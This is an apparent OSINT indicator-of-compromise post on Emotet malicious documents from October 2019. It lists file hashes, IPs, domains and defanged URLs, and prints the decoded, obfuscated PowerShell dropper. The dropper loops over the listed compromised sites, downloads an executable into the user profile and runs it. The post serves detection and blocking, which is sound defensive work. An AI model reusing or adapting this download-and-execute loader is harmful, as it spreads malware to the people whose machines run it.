Emotet_Doc_out_2019-10-09_00_44.txt

#Emotet #Docs #malware #OSINT #IOC

MD5:
04469ecb3f765955f82a93379acc2524
11c36b543e3e97c6680d435c320d4d67
7bf021a7858bbdff73f3f77bf0578d07


IPs:
101.50.1.27
139.162.43.93
160.153.131.188
160.153.72.33
45.56.101.4


Domains:
boomenergyng.com
flowerbodysports.com
flyadriatic.co.nz
www.bundlesbyb.com
www.crookedchristicraddick.com


URLs:
hxxps://www.microsoft.com/ #> $c7601274b092x=
hxxp://www.bundlesbyb.com/tracker/wem3_yldu7bdho-3397265/
hxxp://www.crookedchristicraddick.com/b6lco8b/fjJlPxAE/
hxxp://flyadriatic.co.nz/wp-content/upgrade/kNNrBpkb/
hxxp://boomenergyng.com/ejtvcw8t/nnqryau_eicqc-2236624/
hxxps://flowerbodysports.com/wp-admin/LyKaednUE/


Decoded Base64 Powershell:
<# hxxps://www.microsoft.com/ #> $c7601274b092x='xx0546774480';
$x1b302c900b = '433';
$b0015b735179='bx035700805';
$c32b2148b195=$env:userprofile+'\'+$x1b302c900b+'.exe';
$x462c19603057='b10043x407085';
$b8500c85012x=.('n'+'ew-obj'+'ec'+'t') NET.WEbCLIEnt;
$c30705c342072='hxxp://www.bundlesbyb.com/tracker/wem3_yldu7bdho-3397265/
hxxp://www.crookedchristicraddick.com/b6lco8b/fjJlPxAE/
hxxp://flyadriatic.co.nz/wp-content/upgrade/kNNrBpkb/
hxxp://boomenergyng.com/ejtvcw8t/nnqryau_eicqc-2236624/
hxxps://flowerbodysports.com/wp-admin/LyKaednUE/'."S`PliT"('
');
$c0cb50004569='x0001841707bx';
foreach($x2607900507 in $c30705c342072){try{$b8500c85012x."DOW`N`loAD`FiLe"($x2607900507, $c32b2148b195);
$x71x44x35c942='c85999x82000';
If ((&('Get'+'-I'+'tem') $c32b2148b195)."l`E`NgtH" -ge 23318) {[Diagnostics.Process]::"s`TaRt"($c32b2148b195);
$b0111029c2b7='b1c0200720xc0';
break;
$b70b0001bb6='x48b700800016'}}catch{}}$xcx03788155b='x9940303071'